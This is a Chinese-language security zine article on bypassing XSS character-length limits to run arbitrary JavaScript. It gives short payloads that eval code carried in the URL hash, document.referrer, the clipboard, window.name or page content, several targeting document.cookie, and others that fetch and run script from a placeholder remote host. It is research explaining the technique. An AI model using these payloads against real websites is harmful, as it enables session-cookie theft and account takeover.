==Ph4nt0m Security Team==

Issue 0x03, Phile #0x04 of 0x07

```
|=-----------------------------------------------------------------------=|
|=------------------=[ 突破XSS字符数量限制执行任意JS代码 ]=-----------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------=[      By luoluo     ]=-------------------------=|
|=----------------------=[   <luoluo#ph4nt0m.org>  ]=----------------------=|
|=----------------------=[    <luoluo#80sec.com>   ]=----------------------=|
|=-----------------------------------------------------------------------=|
```

[目录]

一、综述

有些XSS漏洞由于字符数量有限制而没法有效的利用，只能弹出一个对话框来YY，本文主要讨论如何突破字符数量的限制进行有效的利用，这里对有效利用的定义是可以不受限制执行任意JS。对于跨站师们来说，研究极端情况下XSS利用的可能性是一种乐趣；对于产品安全人员来说，不受限制的利用的可能是提供给开发人员最有力的证据，要求他们重视并修补这些极端情况下的XSS漏洞。

突破的方法有很多种，但是突破的思想基本都一样，那就是执行可以控制的不受限制的数据。

二、突破方法

2.1 利用HTML上下文中其他可以控制的数据

如果存在XSS漏洞的页面HTML上下文还有其他可以控制的数据，那么可以通过JS获得该数据通过eval或者document.write/innerHTML等方式执行该数据，从而达到突破XSS字符数量限制的目的，下面例子假设div元素的内部数据可以控制，但是该数据已经被HTML编码过：

```
--code----------------------------------------------------------------------------
<div id="x">可控的安全的数据</div>
<limited_xss_point>alert(/xss/);</limited_xss_point>
----------------------------------------------------------------------------------
```

由于XSS点有字符数量限制，所以这里只能弹框，那么我们可以把XSS的Payload通过escape编码后作为安全的数据，输出到可控的安全数据位置，然后在XSS点执行可控的安全数据：

```
--code----------------------------------------------------------------------------
<div id="x">alert%28document.cookie%29%3B</div>
<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
----------------------------------------------------------------------------------
```

长度：28 + len(id)

由于x内部的数据没有字符数量的限制，那么从而可以达到执行任意JS的目的。

2.2 利用URL中的数据

如果页面里不存在上一节所说的可控HTML上下文数据怎么办？有些数据是我们无条件可控的，第一个想到的就是URL，通过在URL的尾部参数构造要执行的代码，然后在XSS点通过document.URL/location.href等方式获得代码数据执行，这里假设代码从第80个字符开始到最后：

```
--code----------------------------------------------------------------------------
http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)

<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
----------------------------------------------------------------------------------
```

长度：30

```
--code----------------------------------------------------------------------------
<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
----------------------------------------------------------------------------------
```

长度：31

上面两个例子对比，前一个例子更短，那么有没有办法更短呢？通过查阅JavaScript手册的String的方法可以发现，切割字符串有一个更短的函数slice，5个字符比substr还要短一个字符：

```
--code----------------------------------------------------------------------------
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
----------------------------------------------------------------------------------
```

长度：29

```
--code----------------------------------------------------------------------------
<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
```

长度：30

那么还有没有办法更短呢？答案是YES，查阅一下MSND里的location对象的参考你会发现有个hash成员，获取#之后的数据，那么我们可以把要执行的代码放在#后面，然后通过hash获得代码执行，由于获得的数据是#开头的，所以只需要slice一个字符就可以拿到代码：

```
--code----------------------------------------------------------------------
http://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)

<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>
----------------------------------------------------------------------------
```

长度：29

这样比上面的例子又少了一个字符。那么还可以更短么？

2.3 JS上下文的利用

为什么我如此痛苦？那是因为JS和DHTML的方法名和属性名太长！瞧瞧这些“糟糕”的名字：

```
String.fromCharCode
getElementById
getElementsByTagName
document.write
XMLHTTPRequest
...
```

就连开发人员也不愿意多写一次，于是很多站点的前端开发工程师们封装了各式各样的简化函数，最经典的例子就是：

```
--code----------------------------------------------------------------------
function $(id) {
        return document.getElementById(id);
}
----------------------------------------------------------------------------
```

这些函数同样可以为我们所用，用来缩短我们的Payload的长度。不过上面这个例子不是最短的，IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码：

```
--code----------------------------------------------------------------------
function loads(url) {
        ...
        document.body.appendChild(script);
}

<limited_xss_point>loads("http://xxx.com/x");</limited_xss_point>
----------------------------------------------------------------------------
```

长度：len(函数名) + len(url) + 5

当然你的url则是越短越好哦！有些函数则会帮我们去作HTTP请求：

```
--code----------------------------------------------------------------------------
function get(url) {
        ...
        return x.responseText;
}

<limited_xss_point>eval(get("http://xxx.com/x"));</limited_xss_point>
----------------------------------------------------------------------------
```

长度：len(函数名) + len(url) + 11

道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用，比如：

JQuery
YUI
...

综上所述，我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我们的代码，进而突破长度限制执行任意代码。

2.4 利用浏览器特性在跨域的页面之间传递数据

虽然有同源策略的限制，浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的方法，我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。

2.4.1 document.referrer

攻击者可以在自己的域上构造页面跳转到被XSS页面，在自己域上的页面的url里带了Payload，被XSS的页面通过referrer获取相关代码执行。

攻击者构造的的页面：

```
--code----------------------------------------------------------------------------
http://www.a.com/attack.html?...&alert(document.cookie)

<a href="http://www.xssedsite.com/xssed.php">go</a>
----------------------------------------------------------------------------
```

被XSS的页面：

```
--code----------------------------------------------------------------------------
<limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>
----------------------------------------------------------------------------
```

长度：34

这种方式利用上还有一些问题，如果使用location.href或者<meta http-equiv=refresh>实现的自动跳转，在IE里被攻击页面拿不到referrer，而FF则可以。QZ建议用表单提交的方式比较好，我测试了下，果然通用，FF/IE都可以成功获取referrer：

```
--code----------------------------------------------------------------------------
<script type="text/javascript">
<!--
window.onload = function(){
        var f = document.createElement("form");
        f.setAttribute("method", "get");
        f.setAttribute("action", "http://www.xssedsite.com/xssed.php");
        document.body.appendChild(f);
        f.submit();
};
//-->
</script>
----------------------------------------------------------------------------
```

2.4.2 剪切板clipboardData

攻击者在自己域的页面上通过clipboardData把Payload写入剪切板，然后在被XSS页面获取并执行该数据。

攻击者构造的页面：

```
--code----------------------------------------------------------------------------
<script>
clipboardData.setData("text", "alert(document.cookie)");
</script>
----------------------------------------------------------------------------
```

被XSS的页面：

```
--code----------------------------------------------------------------------------
<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>
----------------------------------------------------------------------------
```

长度：36

这种方式只适用于IE系列，并且在IE 7及以上版本的浏览器会有安全提示。

2.4.3 窗口名window.name

这是一个很少被用到的特性，在研究同源策略时就注意过这个属性，它是可以跨域传递数据的，但是这个特性本身并不是漏洞。

如果仔细研究过window.open这个方法，会发现一个不常用的第二个参数，这个则是设置窗口名，用于指定target窗口，如果不存在的话则创建新的子窗口，并设置子窗口的name。当我想打搜window.open时一阵狂喜，喜的是window.name这个属性是window对象的成员，那么只

需要name就可以引用该属性，但是测试时却发现window.open方法对于第二个参数进行了严格的检查，只允许数字字母以及下划线的组合，禁止特殊字符进入，那么这种方式就没法写入JS或者VBS。

但是经过测试发现我们可以通过window.name直接设置当前窗口的name则没有特殊字符限制，然后直接跳转到被XSS的页面，通过name属性传递Payload过去执行：

攻击者构造的页面：

```
--code----------------------------------------------------------------------
<script>
window.name = "alert(document.cookie)";
locaton.href = "http://www.xssedsite.com/xssed.php";
</script>
----------------------------------------------------------------------------
```

被XSS的页面：

```
--code----------------------------------------------------------------------
<limited_xss_point>eval(name);</limited_xss_point>
----------------------------------------------------------------------------
```

长度：11

这个长度可以说是短到极致了，并且这个方法IE/FF都可以很好的支持，是个非常有意思的技巧，这个技巧的发现也是促成本文的直接原因。

window.name的特性还有其他一些有趣的应用方式，这个方面的话题以后可以专门写篇文章来探讨。

2.5 以上的方式结合使用

以上的方式结合使用，一般情况下会使得长度更长，但是也不排除在某些变态的过滤情况中，灵活的组合上面的方法可能会起到奇效。

三、后记

JS非常灵活，所以方法肯定不限于这些，在具体的问题的分析和研究中，可以获得很多的乐趣，并且对JS以及浏览器本身有了更深的认识，如果您有巧妙的技巧或者新奇的构思，欢迎和我交流！

感谢axis*刺*大风*道哥、rayh4c*QZ*茄子为本文提出的宝贵意见！

本文是纯粹的技术探讨，请勿用于非法用途！

四、参考

http://msdn.microsoft.com/en-us/library/aa155073.aspx

-EOF-